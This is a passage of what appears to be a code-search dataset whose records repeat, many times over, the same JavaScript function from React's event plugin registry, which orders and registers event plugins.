Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n}", "title": "" }, { "docid": "12a10018b751c5c4ca9d592f3c68fb78", "score": "0.70648617", "text": "function 